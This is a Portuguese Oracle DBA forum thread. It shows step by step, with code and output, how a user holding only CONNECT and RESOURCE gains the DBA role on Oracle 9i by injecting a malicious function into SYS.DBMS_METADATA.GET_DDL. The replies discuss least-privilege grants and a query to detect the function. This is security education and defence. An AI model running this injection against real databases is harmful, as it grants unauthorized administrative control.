FAQ Procura Membros Registre-se Perfil MP's Login/Out
[Dica] Conseguir role DBA no Oracle 9i (falha de segurança)

 
Novo Tópico   Responder Mensagem    glufke.net - Índice do Fórum -> DBA
Mensagem Autor
Enviada: Seg, 13 Out 2008 1:55 pm     Assunto: [Dica] Conseguir role DBA no Oracle 9i (falha de segurança)

Neste post vamos mostrar como conseguir a role de DBA com oracle 9i tendo apenas permissão de CONNECT e RESOURCE. Utilizamos a versão 9.2.0.4.0 para realizar o estudo abaixo. Este post é baseado no documento de Pete Finnigan entitulado de "Many ways to become DBA".

Primeiramente vamos ver a versão exata que estamos usando:

Código:
sys@ORA9R2> select * from v$version;
BANNER
----------------------------------------------------------------
Oracle9i Enterprise Edition Release 9.2.0.4.0
PL/SQL Release 9.2.0.4.0 - Production
CORE 9.2.0.3.0 Production
TNS for Linux: Version 9.2.0.4.0 - Production
NLSRTL Version 9.2.0.4.0 - Production


Criação do usuário
Neste exemplo, vamos criar o usuário que iremos transformar em DBA. Chamaremos o usuário de TESTUSER e daremos apenas acesso de CONNECT e RESOURCE pra ele!
Código:
sys@ORA9R2> create user testUser identified by testUser;

User created.

sys@ORA9R2> grant connect, resource to testUser;

Grant succeeded.

sys@ORA9R2> connect testUser/testUser
Connected.
testuser@ORA9R2> select * from user_role_privs;

USERNAME GRANTED_ROLE ADM DEF OS_
-------- ------------ --- --- ---
TESTUSER CONNECT NO YES NO
TESTUSER RESOURCE NO YES NO

testuser@ORA9R2>


Ganhar privilégio de DBA
Agora que o usuário está criado e tem pouquíssimos privilégios, vamos usar uma falha da versão 9i para obter a role DBA. Esta falha envolve a criação de uma função e o uso de uma vulnerabilidade da package DBMS_METADATA.

Criação da função
Código:
testuser@ORA9R2> create or replace function testuser.hack return varchar2
2 authid current_user is
3 pragma autonomous_transaction;
4 begin
5 execute immediate 'grant dba to testUser';
6 return '';
7 end;
8 /

Function created.


Execução da Função
Código:
testuser@ORA9R2> select sys.dbms_metadata.get_ddl('''||testuser.hack()||''','')
2 from dual;
ERROR:
ORA-31600: invalid input value '||testuser.hack()||' for parameter OBJECT_TYPE in
function GET_DDL
ORA-06512: at "SYS.DBMS_SYS_ERROR", line 105
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1536
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1900
ORA-06512: at "SYS.DBMS_METADATA_INT", line 3606
ORA-06512: at "SYS.DBMS_METADATA", line 504
ORA-06512: at "SYS.DBMS_METADATA", line 560
ORA-06512: at "SYS.DBMS_METADATA", line 1221
ORA-06512: at line 1

no rows selected


E agora, a mágica!
Código:
testuser@ORA9R2> select * from user_role_privs;

USERNAME GRANTED_ROLE ADM DEF OS_
-------- ------------ --- --- ---
TESTUSER CONNECT NO YES NO
TESTUSER DBA NO YES NO
TESTUSER RESOURCE NO YES NO

testuser@ORA9R2>


Voalá! Role de DBA para TESTUSER !
Surprised


E agora ?
Como você faria pra detectar se algum dos seus usuários fez essa malandragem acima? Vamos encontrar uma solução para esse caso! Responda o link com idéias de como descobrir e evitar isso!
Surprised


_________________
Thomas F. G.
Campanha: Faça uma pesquisa antes de perguntar!!!
dr_gori
Moderador
Moderador


Registrado em: Seg, 3 de Mai de 2004
Mensagens: 3222
Cidade - UF: Porto Alegre - RS


Enviada: Dom, 19 Out 2008 1:28 am    

Dr_gori,

Se eu fosse o DBA você não faria isso.rsrsrs

Qual a necessidade dos privs Connect e Resource? Ao criar um usuario pelo Enterprise Manager ele concede esses privs, porem para evitar isso de somente o Create session.

Na Role Resource contem alguns privilegios perigosos!!! como você demosrou acima..

CREATE TRIGGER
CREATE SEQUENCE
CREATE TYPE
CREATE PROCEDURE
CREATE CLUSTER
CREATE OPERATOR
CREATE INDEXTYPE
CREATE TABLE


Obs:altem dos privs cuidado com as quotas!!!


Abracos!!!


você está querendo deixar alguns amigos desempregados ne?!?!!! srsrsrsr
_________________
Att,


Diego Leite
DBA ORACLE
diegoleite
Rank: Analista Pleno
Rank: Analista Pleno


Registrado em: Sáb, 10 de Novembro de 2007
Mensagens: 110
Cidade - UF: rio de janeiro


Enviada: Dom, 19 Out 2008 1:37 am    

a esqueci da outra pergunta!!! rsrsrs



select owner from all_source where text like '%grant dba to bug%';


Olha o X9!! aí!! rsrsrs
_________________
Att,


Diego Leite
DBA ORACLE
diegoleite
Rank: Analista Pleno
Rank: Analista Pleno


Registrado em: Sáb, 10 de Novembro de 2007
Mensagens: 110
Cidade - UF: rio de janeiro


Mostrar os tópicos anteriores:   
Novo Tópico   Responder Mensagem    glufke.net - Índice do Fórum -> DBA Todos os horários são GMT - 3 Hours
Página 1 de 1

 
 
. .